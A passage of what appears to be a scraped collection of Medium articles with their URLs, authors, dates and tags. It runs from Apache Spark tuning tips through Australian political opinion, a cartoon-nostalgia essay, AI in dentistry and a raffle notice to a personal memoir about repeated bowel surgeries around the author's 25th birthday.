/mydata/2020-02-03/...
/mydata/2020-02-04/...
/mydata/2020-02-05/...
Then, by running this:
SELECT * from mydata WHERE date = '2020-02-03'
Only the data for 2020–02–03 is read instead of the whole data set.
Avoid disk spills
When joining large data set, Spark needs to store intermediate data during the data shuffle, if the executor does not have enough memory, it will move it to the disk and then join will become extremely slow, make sure you set the right amount of memory(spark.executor.memory) per executor and reduce your data size. You can also change the size of the buffer by setting: spark.shuffle.file.buffer
Set the right number of executors, cores and memory
It is important to set the number of executors according to the number of partitions. Your aim is too maximize parallelism and make sure your Spark executors are busy throughout the duration of the Job and all cores are used in the nodes.
Remember that each executor handles a sub set of the data, that is, a set of partitions. Also, each executor used 1 or more cores as set with the property:
spark.executor.cores
When running with YARN is set to 1.
In Spark, we achieve parallelism by splitting the data into partitions which are the way Spark divides the data. The partitions are spread over the different nodes and each node have a set of executors. Then each executor manages one or more partitions. Note, that at the computational level, each executor performs a set of tasks so each the executor will apply a set of functions to the same partition. So, this is why you may want to have more than one core per executor, so you can run independent task in parallel. It is important to understand that each executor will have its own local and independent data in memory which includes broadcast variables(which will discuss later) and accumulators, both of these use quite a bit of memory; however, these are shared between cores. So, having just one core per executor will mean that all the data needs to replicated for each executor. Also, I/O operations, specially on splitable file formats, can take advantage of multiple cores when reading or writing a partition, maximizing throughput.
In summary, when you use broadcast variables, accumulators or you read/write a lot of data, you want to have more than one core per executor, but not too many, otherwise some of the cores will not be used. For more information check this article.
As a rule of thumb 3–5 cores per executor is a good choice. Of course, this dependents on the number of partitions and the size of the partitions. If you have very small partitions and you don’t use much memory like broadcast variables, then less cores is recommended.
Your goal is to find the balance between the number of executors and cores, plus the right amount of memory for each executor. You can set executor memory, and number of executors and cores when you run spark-submit.
# Run on a Spark standalone cluster in cluster deploy mode with supervise
./bin/spark-submit \
--class org.apache.spark.examples.SparkPi \
--master spark://207.184.161.138:7077 \
--deploy-mode cluster \
--supervise \
--executor-memory 20G \
--total-executor-cores 100 \
/path/to/examples.jar \
1000
You can also pass them as Spark properties.
Setting the right amount of memory per executor is also important, this needs to be based on your use of accumulator, broadcast variables and the size of your data when doing joins and the data is shuffle as we seen before. Make sure you set alerts so you are aware of data spills which are very inefficient.
Broadcast Variables
We already talked about broadcast joins which are extremely useful and quite popular, because it is common to join small data sets with big data sets, for example; when you join your table with a small fact table uploaded from a CSV file.
In this case, the idea is to copy the data to each executor so no data needs to be moved, and the join is done locally because one side of the join is stored on each node completely in memory. This is the idea of broadcasting in Spark, both for joins and for variables.
Joins are managed by Spark for you under the hood, so they are easy to use. Broadcast Variables need to be created in your code. You can store any JVM object as long as it is serializable. We will talk about serialization in the next section.
To create a broadcast variable:
val df = spark.sparkContext.broadcast(data)
Note that the data cannot be a data frame or data set, it needs to be a regular object, so you need to call the collect() method to get all the data before sending it to the executors.
Spark Serialization
There are several articles and books that teach you how to optimize your Spark code, however, the single most efficient thing you can do to increase Spark performance across all the code is to get rid of the the Java Serialization.
Java Serialization is very inefficient and also insecure; and can really slow down your jobs.
You need to understand how Spark runs the applications. In a nutshell, the driver needs to serialize your code and send it to all the nodes, so broadcast variables and the job itself needs to be transferred over the network, besides that, intermediate data and metadata needs to be serialized as well. This happens very often under the hood and it can be a bottle neck for your application.
If you have run into the famous “Task not serializable” error in Spark, then you know what I’m talking about. Understanding which parts of your code needs to be serialize and which ones don’t is critical. Your goal is to identify these objects and optimize them by using another serializable format. To solve serialization issues, I really suggest having a look to this article. In general, ensure all the objects passed to closure are serializable.
The most famous Spark alternative to Java serialization is Kryo Serialization which can increase the Serialization performance by several order of magnitude.
Kryo Performance vs Java, Source: https://docs.mulesoft.com/mule-runtime/3.9/improving-performance-with-the-kryo-serializer
Many Spark developers choose not to use it because you need to register every class you use using:
Kryo kryo = new Kryo();
kryo.register(SomeClass.class);
But I really recommend you enable Kryo from the beginning of your project to take advantage of the performance boost. Note that if you rely on the DataSet API, then you may not need Kryo since you classes will use Tungsten encoders which are even more efficient than Kryo and we will discuss them later.
Spark Catalyst
I left the best optimization to the end. Spark has a secret weapon that increases your job efficiently tremendously and the best part is that you “almost” don’t have to do anything to use it, it runs under the hood. We already touch upon this feature before: Spark Catalyst Engine. It basically rewrites your code in an optimal way.
Catalyst is available on the Data Frame API and partially in the Data Sets API. It is not available in the RDD API. It is part of the Spark SQL layer and the idea behind it is to use all the optimizations done over many years in the RDBMS world and bring them to Spark SQL. Since SQL provides a know mathematical model, Spark Catalyst can understand the data, make assumptions and optimize the code. Under the hood, Spark runs a complicated workflow which completely rewrites your code into a harder to understand but much more efficient one.
Think of the Spark Data Frame API as a declarative language, not real code. You are kind of writing on top this engine that will interpret your code and optimize it. This is the process that happens when you trigger an action in Spark:
Catalyst workflow
In a nutshell, it creates an optimized logical plan which them is divided in multiple physical plans. Then, it generates the code for the physical plans and it distributes the code to the executors (Remember why serializing was important?). Catalyst generates an optimized physical query plan from the logical query plan by applying a series of transformations like predicate push-down, column pruning, and constant folding on the logical plan.
Catalyst Optimizer has two types of optimizations:
Cost-Based Optimizer : Since Data Frames are based in SQL, Catalyst can calculate the cost of each path and analyzes which path is cheaper, and then executes that path to improve the query execution.
: Since Data Frames are based in SQL, Catalyst can calculate the cost of each path and analyzes which path is cheaper, and then executes that path to improve the query execution. Rule-Based optimizer: These include constant folding, predicate push-down, projection pruning, null propagation, Boolean simplification, and other rules.
Catalyst will also auto perform broadcast joins when one side of the join is small, the threshold can be set using this property:
spark.sql.autoBroadcastJoinThreshold
Project Tungsten
Data Frames and Data Set APIs also benefit for Project Tungsten which aims to fix the serialization issues that we mentioned before, memory management and performance. It uses an optimized in memory format and off-heap memory which does not need to be garbage collected.
It optimizes Spark jobs for CPU and memory efficiency by doing the following:
Off-Heap Memory Management using binary in-memory data representation, this is the Tungsten row format. Cache Locality which is about cache-aware computations with cache-aware layout for high cache hit rates. Whole-Stage Code Generation (CodeGen).
This is why you need to use encoders when using Data Set API, these are in charge of the off heap optimizations. You get this for free in the Data Frames and Data Set APIs but Datasets are better optimize. For more information check this great article.
What about RDDs? Catalyst cannot do anything about it, this is the do it your self approach. Actually Catalyst generates RDD code, this is the end result. Also, you need to manage serialization.
Catalyst cannot do anything about it, this is the do it your self approach. Actually Catalyst generates RDD code, this is the end result. Also, you need to manage serialization. Does Catalyst Optimizes DataSet API? Yes and No. Initially, the Data Set API was slower since Catalyst “couldn’t see” what you were doing in the code since data sets syntax is broader than the fixed SQL syntax. But if you use the latest version of Spark (3.0), then most of the optimizations are available. Still, Data Frames API will be a bit more efficient in optimizing your queries; with DataSets you need to be more careful, but if you write good Spark code, the differences are minimal. Plus, Datasets have better space and speed performance, data sets Tungsten optimization is better than data frames. My recommendation is that Spark SQL with Data Frames should be used by data scientists which no deep knowledge of Spark, Catalyst will optimize the code for them. Data Set API is ideal for Scala engineers with good knowledge of Spark internals.
Spark APIs comparison. Source: https://databricks.com/blog/2016/07/14/a-tale-of-three-apache-spark-apis-rdds-dataframes-and-datasets.html
Do I need Kryo if I use the Data Set API? Yes and No. Tungsten will manage your case classes using encoders, but there are still other parts of the code that needs to be Serialized and enabling Kryo would help. If you use the data set API, I recommend to skip Kryo unless you need to maximize performance.
Other Spark Optimizations
Use reduceBy/aggregateBy methods instead of groupBy when possible, since they reduce data shuffle. It works faster because Spark knows about the combined output with a common key on each partition before shuffling the data.
methods instead of when possible, since they reduce data shuffle. It works faster because Spark knows about the combined output with a common key on each partition before shuffling the data. Avoid reduceByKey when the input and output value types are different, use use aggregateByKey instead; if the types are the same use reduceByKey if not aggregateByKey .
when the input and output value types are different, use use instead; . Use localCheckpoint () method before repartition and write. This is to create stage barrier between shuffle stage and the write operation.
() method before repartition and write. This is to create stage barrier between shuffle stage and the write operation. Don’t use collect () method. It will try to move all data in to the driver and where it may run out of memory and crash. Only use it for debug purposes or to create broadcast variables which are small in size by definition.
() method. It will try to move all data in to the driver and where it may run out of memory and crash. Only use it for debug purposes or to create broadcast variables which are small in size by definition. Use the right file format . Avro for row level operations and Parquet or ORC for column based operations such Spark SQL. Compress the data and make sure that the format is splitable, so it can be read in parallel by Spark readers. Splittable formats are lso, bzip2, snappy , etc. Non-splittable gzip, zip, lz4…
. such Spark SQL. Compress the data and make sure that the format is splitable, so it can be read in parallel by Spark readers. , etc. Non-splittable gzip, zip, lz4… Monitoring and observability is critical is Spark. Use explain() method before writing to disk as last step to verify that all the optimizations that we talked about take place. Check that the expected Catalyst optimizations are done and filters are pushed to the source, queries are re arranged, data shuffles are minimized, etc. Enable the Spark history server to analyze and observe the evolution of your jobs and detect any change that may cause performance issues.
As you can see, the goal of all these optimizations is to reduce data movement. To do this, always filter as much data as you can. Try to minimize wide operations. Cache the data sets if they are going to be used multiple times. Make sure your data is partitioned evenly before performing joins or writing to disk. Be aware of data locality and remember to use Spark UI to and the explain() method to understand Spark logical and physical plan.
Conclusion
In this article, we unfolded the internals of Spark to be able to understand how it works and how to optimize it. Regarding Spark, we can summarize what we learned with two key takeaways:
Minimize data shuffles and maximize data locality.
Use Data Frames or Data Sets high level APIs to take advantages of the Spark optimizations.
If you are a Scala developer, remember that Spark high order functions are not the same ones as in Scala and you really need to understand how Spark and the Catalyst engine work.
Good luck on your Big Data Journey!
Remember to clap if you enjoyed this article and follow me for more updates! | https://itnext.io/apache-spark-internals-tips-and-optimizations-8c3cad527ea2 | ['Javier Ramos'] | 2020-12-14 10:29:35.100000+00:00 | ['Hadoop', 'Spark', 'Data Engineering', 'Big Data', 'Data Science'] |
As predicted Julia Banks is attacked by Newscorp. | As predicted Julia Banks is attacked by Newscorp. ( Sleeping Giants and Eric Remarque and the National Times 7/7/2021 at 10.38 am)
Well would have thought (the unelected) Senator Sarah Henderson and Peta Credlin would have a love in to gossip about Julia Banks, dismissing her claims of harassment and bullying as some imagined fantasy.
Women trashing other women whoda thunk that, especially in the Liberal Party and by Peta Credlin that well known defender of women’s rights.
Everybody knows Sky -TV News and the Liberal Party are such fierce defenders of women’s rights .
Even more predictable is the extreme right wing Sarah Henderson saying that Julia Banks was used by the Labor Party to attack a completely innocent Liberal Party.
In a article penned by the well known Liberal Party supporter James Morrow also of SKY-TV News fame, he talks about how Senator Henderson has NEVER experienced any harassment or misogyny from male members of the Liberal Party.
Sarah Henderson says she has always been treated respect and dignity.
Meanwhile, fellow Liberal members of Parliament fell into line defending the Sacred Cow of the Liberal Party, Prime Scott Morrison who now assumes the mantle of Australia’s first Demagogue.
Michael Sukkar reckons Julia Banks has some sort of secret political agenda by ratting on the Liberal Party.
But the bottom line of James Morrows article is – it’s all Labors fault as they have been encouraging Julia Banks to attack and damage Saint Scott Morrison.
Newscorp and its Liberal lickspittles are so predicable and if Australian’s listened to Newscorp they would have us believe Saint Scott Morrison is as pure as the newly fallen snow.
The truth is the modern Liberal Party led by Scott Morrison is a den of right wing adherents and Neo Liberals who seem intent on destroying Australia for short term profit. In today’s Liberal Party misogyny reigns supreme and it’s men in suits who control the Liberal Party and if you are a woman in the Party learn to swear, fart and drink and you might get on.
Above all worship Scott Morrison and carry a bible under your arm that way as a Liberal woman you can be a bigger hypocrite than Scott Morrison. | https://medium.com/@narford/as-predicted-julia-banks-is-attacked-by-newscorp-218e2b05e2e9 | ['The National Times'] | 2021-07-07 01:08:59.033000+00:00 | ['Mysogyny', 'Scott Morrison', 'Australian Politics', 'Bullying', 'Australia'] |
#BuiltOnDAPP: Yup | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/%EB%A6%AC%ED%80%B4%EB%8C%91%EC%8A%A4-liquidapps-kor/builtondapp-yup-8bbf94efb810 | ['Cream Er'] | 2020-11-19 03:31:57.416000+00:00 | ['Eos', 'Liquidapps', 'Eth', 'Yup', 'Dappnetwork'] |
If you are given a chance to live in a cartoon world what would you choose? | Being born in the mid 80’s my childhood was dominated with the amazing shows in the 90’s Cartoon Network and I enjoyed every bit of it. In fact it was always a dream for me to relive those moments using a time machine, as they were truly cherished experiences which today’s kids would never get.
My kid’s cartoon world is Peppa Pig, Masha & the bear, Paw Patrol and the likes. But I feel it’s nothing when compared to the series that I enjoyed in my growing up years like Scooby Doo, Captain Planet, Jhonny Quest, Mask, Jetsons, Flintstones, Adams Family, Tom & Jerry (definitely the old version), Dexter’s Laboratory, Timeless Tales and the list goes on. I know a lot of 80’s and 90’s kids would vibe well with me here. (Mentally say I Know! Right?)
So let me get back to the topic in hand. If anybody ever poses a fictional what if situation to me, I would definitely say either time travel or go live in any of the above mentioned Cartoon World. Today I choose Captain Planet and the Planeteers.
The series made such an impact on me that I genuinely feel I have become an eco-activist. My concerns for the growing climatic change in the world have made me conscious and a conservationist, preservationist, ecologist and a green nature-lover!
So before I go on, let me tell the ones who don’t know what Captain Planet is all about. Captain Planet is an environmental superhero who gets to save our planet Earth along with his team of Planeteers who pose as the natural elements like Earth, Fire, Wind, Water and an added element Heart. I am proud to say that I witnessed these series which were not merely entertaining but it was edutainment (Education + Entertainment).
This show was so profound and fore thought that we were schooled how dangerous our planet Earth could be if we fail to care and nurture it. It so clearly explains what the threats are, how we can prevent it and prepares for a futuristic green world.
On an entirely different note, I can sing the opening theme song of the series perfectly, even if you wake me in the middle of the night. I just love it so much.
Moreover in today’s chaotic world, a superhero like him is definitely needed to stop the threats owing to the climatic changes. In this fictional world I would witness a beautiful planet which we can make it possible to live in and try to recreate the same in reality. I would wish to urge people to choose to be a tree hugger, a green reformer rather than a contaminator or a polluter.
Green Planet Earth
The reality is more scary with all that has happened in 2020 and an escape to this cartoon world, (though we could make it a possible reality) is far more calming and the thought in itself rejuvenates my mind and my thinking process. It’s like taking an expensive vacation to a nature abode.
I live by the philosophy that anything is okay if it calms me and keeps me in good spirits. This escape to the cartoon world, sure gives positivity and a path to attain peace.
Like Captain Planet says “The Power is Yours!” Let us create a better world for our future generation and not a plan to move to Mars! | https://medium.com/@sukanya11/if-you-are-given-a-chance-to-live-in-a-cartoon-world-what-would-you-choose-d5260b52cb4c | ['Monologues'] | 2020-12-05 16:41:29.088000+00:00 | ['Captain Planet', 'Go Green', 'Cartoon Network', 'What If', 'Environmental Issues'] |
AI is making smiles brighter and easing dental anxiety | One of the medical practices that many people fear more than any other, is dentistry. There’s something about sitting in a chair and having someone invade your mouth that puts people on edge. Perhaps having AI play an increasing role in whatever you’re having checked, cleaned, or drilled, will help alleviate at least a modicum of that anxiety.
“Narrow” AI solutions that are experts at specialized tasks are becoming far more common place in all manner of industries, and medical care is no exception. Just as machine learning AIs are being used to help improve the diagnosis for serious diseases like cancer, it’s also finding use in dentistry to improve the accuracy of abnormality detection in X-rays of the jaw and teeth, make recommendations for orthodontic treatments, and optimize endodontic therapy.
Although this process can still be achieved using a medical professional for a second opinion — and often is to add an added layer of human oversight to the process — algorithms like Behold.ai’s can do this far faster, anywhere in the world, for any number of practices, simultaneously. It does so providing the same level of reliable, consistent, and often-accurate expertise that is far from as readily available as more traditional clinician opinions.
This makes an AI diagnosis a perfect alternative to the traditional second opinion of a professional. Not only because of its accuracy and ease of access, but also its impartiality. Patients can rest assured that the AI brings less of a potentially implicit human bias to its diagnosis. While there are ways in which algorithms can reflect the biases of the programmers who wrote it, machine learning’s independence and self-taught design makes that less likely.
Trust will need to be built up with the machines too, though. Medical data of any kind is incredibly sensitive, and dentistry is no different. That data must be shared with the AI and in some form in turn, the company that developed and manages it. Strict data sharing practices must be in place to make that process feel trustworthy and not open to exploitation, data theft, or sale.
Still, with the potential for life-altering, permanent surgery and adjustments as part of the dentistry field, and the lifelong anxiety associated with it for many, AI holds an exciting potential to both improve the quality of the service, and remove one of the biggest reasons people don’t seek help for it in the first place. | https://medium.com/product-ai/ai-is-making-smiles-brighter-and-easing-dental-anxiety-be3450156a5f | ['Jon M'] | 2021-11-29 22:35:49.542000+00:00 | ['Healthcare', 'AI', 'Anxiety', 'Dentistry'] |
That’s all folks…for now! | The sunshine’s finally arrived, announcing summertime and heralding the closure of our inaugural property prize competition at midnight on June 30.
Cross your fingers — we’ll update you all soon!
While the competition is now closed there is still work to be done, so that pub garden is just going to have to wait as we busy ourselves ratifying all the valid entries, totting up the total sum to be donated to our three chosen charities and collating all the key information our partner, Sterling Lotteries, needs to conduct the draw.
We’ve chosen licensed and regulated Sterling Lotteries to ensure the draw is seamless and professionally done. They will gather all the information and data they need for their processes and, as soon as we can, we will announce the draw date.
Like I said at the start, there no rest for us given we’re gearing up to launch our second competition; a trendy East London 2 bed-flat — more on that come this week!
Launching early July — yours for £10
If you had an account with us before the closure of our first competition, you’ll have the opportunity to benefit from our loyalty scheme that will be running for a limited time where we’ll double any paid entries to say thank you for being a part of our journey!
If you want to stay up-to-date, head over to Raffle House and create an account — we’ll email with more information later this week! | https://medium.com/@rafflehouse/thats-all-folks-for-now-3d862a7380e6 | ['Raffle House'] | 2019-07-01 08:50:53.642000+00:00 | ['Competition', 'Raffle House', 'Property', 'London'] |
3USDZ共有:道化師仮面 | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/bs3-3dmodel/3usdz%E5%85%B1%E6%9C%89-%E9%81%93%E5%8C%96%E5%B8%AB%E4%BB%AE%E9%9D%A2-71941ed89d7c | [] | 2020-12-09 09:56:10.132000+00:00 | ['Augmented Reality', '3d Modeling', 'AR'] |
The Challenge & Opportunity Before Us | Conscious Company | In a few short months, the Coronavirus has brought the world we know to its knees; forced the fast-racing train of modern life to a full, screeching stop. And while none of us chose, nor could have foreseen the situation — it is upon us, obliging each of us as individuals and a collective to see the world as it really is, not as we wish it were. And in this truth, there is as much challenge as there is opportunity.
THE CHALLENGE
In 2016, geologists officially recognized a new phase in Earth’s geologic timeline: Anthropocene, which in Greek means the “recent age of man”. It is a term used to describe the current period of Earth’s history since roughly 1800, during which Homo Sapiens have brought about a catastrophic phase of disruption similar in planetary impact to other geologic happenings over time, including the asteroid that wiped out the dinosaurs. Yet this Anthropocene period is also quite different from other eras, for it marks the first time in the planet’s more than 4.5 billion-year history that a new epoch has resulted directly from the activities of a single species: us.
To put the timeline in a broader context — if the Earth’s 4.5 billion-year history were consolidated into 24-hours, modern man would have been around less than a second. Far less time has passed since we entered the so-called ‘modern age’ tied to the first Industrial Revolution of the late 18th century. Fueled by the steam engine — which many consider to be the greatest invention of mankind — machine power opened new ways of life, business opportunities, and economies of scale. It also enabled incredible population growth: at the outset of the Industrial Revolution, the global population numbered ~360 million people, whereas only 100 years later, in 1900, this number had doubled; today, our global population is 7.6 billion strong — or 6 billion people more than at the start of the Anthropocene era.
During this same time period, we embraced an economic model lifted straight off the pages of Adam Smith’s 1776 book, The Wealth of Nations. Hard-pressing, pressure-cooking, and based mostly on consumption (defined by Merrion-Webster as “the using up of a resource”) — we’ve promoted a kind of zero-sum capitalism that pushes growth at any cost, largely values profit over people, and rewards a Darwinian “survival of the fittest”. Human beings have spent the past 220 years pushing, pushing, endlessly pushing — for innovation, progress and profit. The impact of this can be seen in clear scientific evidence showing rapidly expanded life expectancy and quality of life advancements on the one hand, but a growing and urgent need for positive intervention on a range of social and environmental issues from economic inequality to climate change on the other. Yet despite awareness of these more negative facts since at least the late 1950’s or early 60’s, little meaningful action has occurred. In fact we’ve continued in our busy, ambitious ways — full steam ahead towards the precipice where we now find ourselves.
In record time, the novel coronavirus has shined a spotlight on every crack in our ‘modern age’. From global interdependence and the under-preparedness of governments, to the immense limitations of our medical systems and obvious impact of continuous and ongoing reductions of investment in social welfare and infrastructure — we now see in stark relief how at-risk we all are, not least of all the most vulnerable among us. But these observations are not limited to the public sector. It is equally apparent how the private sector — the greatest beneficiary of the economic expansion of the past 250 years — has few if any contingencies for “a rainy day”. Most businesses answer to investors and creditors hungry for quarterly gains, run on the thinnest of margins, and have limited cash reserves. We’re seeing companies of all sizes and lifecycles ill-prepared to weather a slowdown of a few weeks, much less the total shutdown so many industries are now facing.
It’s like COVID-19 has tripped the wire on the modern world’s basic operating model.
THE OPPORTUNITY
Many in yoga, energy medicine, and similar wellness communities — whose foundations lie in ancient and indigenous wisdom (despite the somewhat derogatory all-inclusive term, “new age”) — believe this pandemic is a sign. It is a call from Mother Nature forcing us to finally slow down, to take stock of the world we’ve created, and asking our plans for future generations. Whether you abide by such a belief system or not, the truth is that nearly everyone right now is feeling some sense of reckoning upon us. Even just a few short weeks ago, our present reality was unimaginable. In major cities and small towns around the globe, the average day-to-day has ceased. No longer able to run forever forward as we’ve been doing since the beginning of the Anthropocene era — we are now left facing some hard truths, but also have an opportunity to open our eyes to some incredible possibilities.
In my work, I help brands and businesses move from point A, B or C to a destination point X, Y or Z. Rarely is the path clear or the steep climb undaunting, but the journey is always guided by answers to two key questions: What do we believe, and who do we want to be when we grow up? To uncover the truth of these principles requires space for reflection, reassessment, and revision. So today, even though it may seem counterintuitive in a moment when the world around you is in disarray, your strategic plan may be out the window, your teams and suppliers and partners are at-risk, and you yourself may be fighting to stay relevant — the opportunity before us is to make space for this process. For each of the two questions below — let’s take time to reflect on our past answers, reassess based on present insights, and revise for the future so we can seize new possibilities.
1. What do we believe?
Values serve as a guiding light and compass. Like GPS for our lives and businesses, values help steer the ship towards a desired destination or end goal. So, what are the underlying beliefs and motivators that guide your company’s decisions and behaviors? If not only profit and influence, efficiency and effectiveness-what matters most? Is it your people, your customers, bold creativity, excellence, innovation, fairness…? Define 4–6 core values and think about how you can show these, live and abide by these going forward. What differences might this make to your actions and how you show up in the world?
2. Who do we want to be when we grow up?
You undoubtedly already know who you are — what you sell, who you sell to, your place in the market. But take a step back and ask, why do you do what you do? What got you started, and is this still what keeps you going? What’s changed, why and how? What was your big audacious goal when you started out; forget the money or recognition part, what was the real truth behind it? Now, given what you know today-reassess what is possible for your business; and redefine, if necessary, what you truly desire both for the business and its impact on the world we share.
IN CONCLUSION
The coronavirus pandemic has brought the human-driven Anthropocene era to a full, screeching halt. The social and economic impacts of the current global shutdown are just beginning to be felt and will likely go on for years, if not decades to come. Yet we have so much room for hope and optimism — for in the forced shutdown of “business as usual”, we each have an opportunity to pause, recalibrate, and make positive change. Perhaps in this pause and the space we fill after — we’ll see that growth is not only about profit as Adam Smith would have it, but is much more about progress, especially the kind that is possible when we take action, individually and collectively, to create a better future than our most recent past.
Today is the beginning of the rest of our lives, and the opportunity before us is as great as the challenge. | https://medium.com/@lisavgralnek/the-challenge-opportunity-before-us-conscious-company-2dc9b2a9a870 | ['Lisa Gralnek'] | 2020-05-06 18:52:46.638000+00:00 | ['Strategy', 'Growth', 'Opportunity', 'Change Management', 'Values'] |
25 | So today is my 25th birthday. I knew I wanted to write something, but it was unbelievably difficult to get started. Sometimes you have so much to say that it’s easier to say nothing at all. But you don’t get very far by doing what’s easy, so I’m going to do my best to speak my piece. I’ll start by saying that, like mostly everyone, this past year and a half for me has been about learning some new lessons, and being reminded of others. 2021 thus far has been one hell of a teacher.
Back in March, I got an infection (not COVID lol) and was prescribed some antibiotics, as is the norm. I wasn’t feeling better a few days into my antibiotic course, in fact I was feeling worse. Specifically I felt ridiculous levels of lethargy, and I couldn’t take too many steps without getting exhausted. I grew increasingly worried about my own wellbeing as the week wore on, until one night when things came to a head. Earlier that day, I had literally fainted on my way to the bathroom and woke up on the ground. I spent the rest of the day panicked, hoping that incident wouldn’t repeat itself. Sitting on my couch that night, my vision began to blur and black out. I heard ringing in my ears. My breath was shallow, and yet seemed to echo through my entire body. I grabbed my phone, as I couldn’t shake the feeling that if I didn’t get help right then, I wouldn’t make it through the night. I can’t quite express how it feels to muster one’s energy to fight death. How easy it would have been to lie there and let the darkness come. Or perhaps the light, depending on your interpretation. How effortless it would have been to let my shallow breathing grow thinner and thinner until there was none left. But I felt that my business here wasn’t finished, so I willed my vision to clear long enough to text a friend, who also lived in my building, and ask them to drive me to the hospital. When I fell into an open box on the way to open the door for them, “drive me to the hospital” became “call an ambulance”. I slurred together instructions for what I would need to take with me to the hospital, where I would doubtlessly be admitted for a while.
About two weeks and another course of antibiotics later, I was feeling pretty decent and was discharged back to my apartment, where I lived alone. Slowly but surely, I returned to the rhythms of daily life. I washed my dishes, I cleaned my filthy apartment which hadn’t been touched in the two weeks I was gone. Anytime I felt the slightest hint of dizziness, I panicked, wondering if my symptoms were returning. I never wanted to experience anything like that night ever again. The funny thing is, as a chronically ill person, that wasn’t my first brush with death. It wasn’t even the first time my systolic blood pressure dropped to 60. But something about this encounter felt so visceral and so manual and so personal, I was traumatized. Somehow I scraped together the energy to finish the semester, finishing quite literally two months of homework and final exams in less than a week.
Having made it past one enormous obstacle, I was still facing another, this one six years in the making. But the roots of the issue go back even further. In 2012, when I was a sophomore in high school, my intestines twisted upon themselves, a medical condition known as a midgut volvulus. The fix for this was to resect some small bowel and create an ileostomy. However, my system was getting pretty close to toxic shock from the waste that couldn’t pass, so once the surgery was done it took two months in the hospital for me to recover. At the end of that year, they reversed the ileostomy and all was well…until it wasn’t. A few years later in 2015, the spring of my freshman year of college, my worst nightmare came true. Midgut volvulus, round two. The fix was much the same, resecting some bowel, creating an ileostomy, one month in the hospital this time. By then, so much of my small bowel had been cut away that my body couldn’t nourish itself without the help of parenteral nutrition through an IV. My gastroenterologist pushed for ileostomy reversal as soon as possible to get back use of as much vital intestine as we could, but after going through reversal once just to have another volvulus, I couldn’t bring myself to do it. I went on for four more years infusing parenteral nutrition multiple nights a week, taking calls from my pharmacist weekly to organize deliveries of the refrigerated nutrition bags, scheduling weekly nurse visits to my dorm to draw blood for the lab, and simultaneously living the life of a college student. In 2019, as I was preparing to move to Nashville for a Master’s program, I met a surgeon who would change everything.
Initially, I met with Dr. J just to ask about an issue I was having with my ileostomy. Once he was familiar with my case, he immediately recommended ileostomy reversal, which wasn’t even on my radar at that point. I had firmly decided, or so I thought, that I wouldn’t reverse the ileostomy this time. But a lifetime of parenteral nutrition isn’t ideal, and my liver was essentially a ticking time bomb as long as I remained on it. He seemed to listen to me and really understand what I had going on, and I just got an indescribably good feeling. Things like this are why I remain highly spiritual, despite being a scientist, which some people think is incompatible with spirituality for some reason. But what else am I supposed to do when I just feel a feeling? I rode the wave as far as it would go, and told Dr. J that when my Master’s program was over, I’d come back to Dallas so he could operate. “I want to take care of you” is what he said as he left the room, making it clear he wanted to be the one to perform the surgery. We all felt good about it, and I left the office knowing I’d be up for an adventure in two years’ time.
This past summer, I finished my Master’s program. I emailed Dr. J to make sure we were still on for the operation, and we were, so I booked my flight back to Dallas and prepared for everything to change. I couldn’t really process or internalize all the things that were about to be different. I had been through an ileostomy reversal once before, but everything about this felt different. It felt final. Like it was all going to work this time, and I was going to get my life back. I had built an identity around being chronically ill, and constantly compromising with my body to balance its health with my happiness. I had the overwhelming feeling that God or whatever is out there was telling me I had done my time, and this time would be for good. “This is risky” Dr. J reminded me. “You could die!” he said to my Mom over the phone. But I knew I wasn’t getting any younger, and my liver was only going to get angrier the longer I did those infusions. My job was essentially to go to sleep, and will my body to do everything in its power to wake up. June 25th was the big day. The fact that you’re reading my words obviously means that I indeed woke up in the recovery room. But the journey to discharge wasn’t so straightforward. If you haven’t guessed, good fortune doesn’t usually befall me.
Ideally in the days following the ileostomy reversal, I would progressively eat more and more, allowing my newly reattached colon to acclimate itself to having food pass through it. But I felt extreme discomfort and pain every time I ate, and a distinct tickle in my lower abdomen. After some more imaging, we learned that I had a little pinhole sized leak in my colon. Back to the operating room I went, and imagine my shock when I awoke with a freshly placed chest tube. When I was no longer groggy, my mom explained that there was some fluid found near my lung, and that was the reason for the tube. I mentally adjusted, always one to do my best to go with the flow, and accepted that I’d be in the hospital a little longer. The day came to remove my chest tube, and I got one more little surprise.
After chest tube removal, I got up to go to the restroom, and while I was in there, I felt a peculiar rattling within after a deep breath. Walking back to bed, I felt shaky and uneven, and struggled to catch my breath. It was early morning, and my day nurse popped in to introduce herself. I told her I was struggling to breathe, and she gave me a nasal cannula with flowing oxygen. I thought I knew what was going on, but we would need an x-ray to check. Fortunately, the people I needed to see waltzed into my room as I was next in their rounds. Before they could say a word, I told the team of surgeons that I was struggling to catch my breath, and a chest x-ray was ordered immediately. Shortly thereafter, I was proven correct. My old friend pneumothorax had come to visit. It wasn’t my first collapsed lung, but it was no less terrifying than the last one. A surgeon swiftly came in to install another chest tube, this time to get rid of the air in my pleural space rather than fluid. At this point I had to giggle internally, partially at my own misfortune and partially because I was conversing with the surgeon whilst she plunged a needle into my chest. She numbed it really well though! And the hydromorphone certainly didn’t hurt either.
Finally, chest tube: the sequel was removed, and after three weeks in the hospital, I was discharged. I was free of all parenteral nutrition, and for the first time in six years I had no intravenous access. No ileostomy pouch. I was no longer bound to weekly pharmacy deliveries. No longer limited in the duration of my travel by storage of a refrigerated infusion therapy. I felt more free than ever, but I was conflicted. I had spent years getting used to all the limitations that had been placed upon me. I built an identity around them, because so much of my life was altered by their existence. I didn’t really know who I was without those limitations. For the decade or so since my first midgut volvulus in 2012, my entire life has been in flux. My weight, my medications, my nutrition, my lab work, my physical health, my mental health, everything about me has been constantly shifting. It was all I could do to just live, never thrive. It was all I had the energy for. Suddenly I was being faced with the reality of the most stability I had known in a decade.
Things aren’t stable yet though, don’t be fooled.
